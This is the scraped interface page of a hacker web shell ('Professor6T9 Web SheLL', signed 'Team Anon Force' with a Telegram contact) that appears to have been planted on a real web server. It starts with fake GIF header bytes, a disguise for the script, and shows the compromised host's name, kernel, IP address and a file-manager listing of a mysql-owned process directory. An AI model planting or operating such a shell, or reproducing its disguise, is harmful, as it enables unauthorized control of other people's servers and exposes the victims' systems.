GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux server1.hnhtechsolutions.com 4.18.0-553.78.1.el8_10.x86_64 #1 SMP Tue Oct 7 04:15:13 EDT 2025 x86_64
 Apache
 198.177.124.167
Name Type Size Owner/Group Permission Last Modified Actions
. dir - mysql/mysql 0555 2026-02-18 01:43:51
.. dir - mysql/mysql 0555 2026-02-12 01:47:00
attr dir - mysql/mysql 0555 2026-02-21 12:48:44
fd dir - mysql/mysql 0500 2026-02-21 12:48:44
fdinfo dir - mysql/mysql 0500 2026-02-21 12:48:44
net dir - mysql/mysql 0555 2026-02-21 12:48:44
ns dir - mysql/mysql 0511 2026-02-21 12:48:44
auxv 0 B mysql/mysql 0400 2026-02-21 12:48:44
cgroup text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
children application/x-empty 0 B mysql/mysql 0444 2026-02-21 12:48:44
clear_refs 0 B mysql/mysql 0200 2026-02-21 12:48:44
cmdline text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
comm text/plain 0 B mysql/mysql 0644 2026-02-21 12:48:44
cpu_resctrl_groups text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
cpuset application/octet-stream 0 B mysql/mysql 0444 2026-02-21 12:48:44
environ 0 B mysql/mysql 0400 2026-02-21 12:48:44
gid_map text/plain 0 B mysql/mysql 0644 2026-02-21 12:48:44
io 0 B mysql/mysql 0400 2026-02-21 12:48:44
limits text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
loginuid text/plain 0 B mysql/mysql 0644 2026-02-21 12:48:44
maps 0 B mysql/mysql 0444 2026-02-21 12:48:44
mem 0 B mysql/mysql 0600 2026-02-21 12:48:44
mountinfo text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
mounts text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
numa_maps 0 B mysql/mysql 0444 2026-02-21 12:48:44
oom_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 12:48:44
oom_score text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
oom_score_adj application/octet-stream 0 B mysql/mysql 0644 2026-02-21 12:48:44
pagemap 0 B mysql/mysql 0400 2026-02-21 12:48:44
patch_state 0 B mysql/mysql 0400 2026-02-21 12:48:44
personality 0 B mysql/mysql 0400 2026-02-21 12:48:44
projid_map text/plain 0 B mysql/mysql 0644 2026-02-21 12:48:44
sched text/plain 0 B mysql/mysql 0644 2026-02-21 12:48:44
schedstat text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
sessionid text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
setgroups text/plain 0 B mysql/mysql 0644 2026-02-21 12:48:44
smaps 0 B mysql/mysql 0444 2026-02-21 12:48:44
smaps_rollup 0 B mysql/mysql 0444 2026-02-21 12:48:44
stack 0 B mysql/mysql 0400 2026-02-21 12:48:44
stat text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
statm text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
status text/plain 0 B mysql/mysql 0444 2026-02-21 12:48:44
syscall 0 B mysql/mysql 0400 2026-02-21 12:48:44
uid_map text/plain 0 B mysql/mysql 0644 2026-02-21 12:48:44
wchan application/octet-stream 0 B mysql/mysql 0444 2026-02-21 12:48:44
© Professor6T9